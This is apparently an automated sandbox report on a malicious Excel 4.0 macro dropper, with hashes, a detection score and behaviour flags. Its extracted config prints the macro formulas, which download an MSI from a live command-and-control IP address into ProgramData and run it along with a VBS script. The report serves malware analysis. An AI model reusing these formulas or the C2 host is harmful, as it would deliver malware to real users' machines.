General

  • Target

    cc152b15a1a3d818e3be32a909e022f8

  • Size

    6KB

  • Sample

    231222-r62svadcbr

  • MD5

    cc152b15a1a3d818e3be32a909e022f8

  • SHA1

    9180a6ecd1e5b795cf6434b9e06ca20304e79d17

  • SHA256

    5a7e9af79f465d57e8be0b821558d4c4f23582d1a99d1e32afa38106cc9e2880

  • SHA512

    2d0b79045aa5b45a12849926b63cd11b50e4525c457c941a9462d96cb8c65d9248915d204bc388576562130a725ac9422839f0603a200b2c07cd339e90c684a9

  • SSDEEP

    192:NDSEuS51aEOmmfRe8UhHFBFYu4b98yJpgpo:NHuEwY1FYZb98yrWo

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187

Attributes
  • formulas

    =EXEC("msiexec.exe") =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187","C:\ProgramData\uluculus.msi",0,0) =EXEC("wscript C:\ProgramData\start.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187

Targets

    • Target

      cc152b15a1a3d818e3be32a909e022f8

    • Size

      6KB

    • MD5

      cc152b15a1a3d818e3be32a909e022f8

    • SHA1

      9180a6ecd1e5b795cf6434b9e06ca20304e79d17

    • SHA256

      5a7e9af79f465d57e8be0b821558d4c4f23582d1a99d1e32afa38106cc9e2880

    • SHA512

      2d0b79045aa5b45a12849926b63cd11b50e4525c457c941a9462d96cb8c65d9248915d204bc388576562130a725ac9422839f0603a200b2c07cd339e90c684a9

    • SSDEEP

      192:NDSEuS51aEOmmfRe8UhHFBFYu4b98yJpgpo:NHuEwY1FYZb98yrWo

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks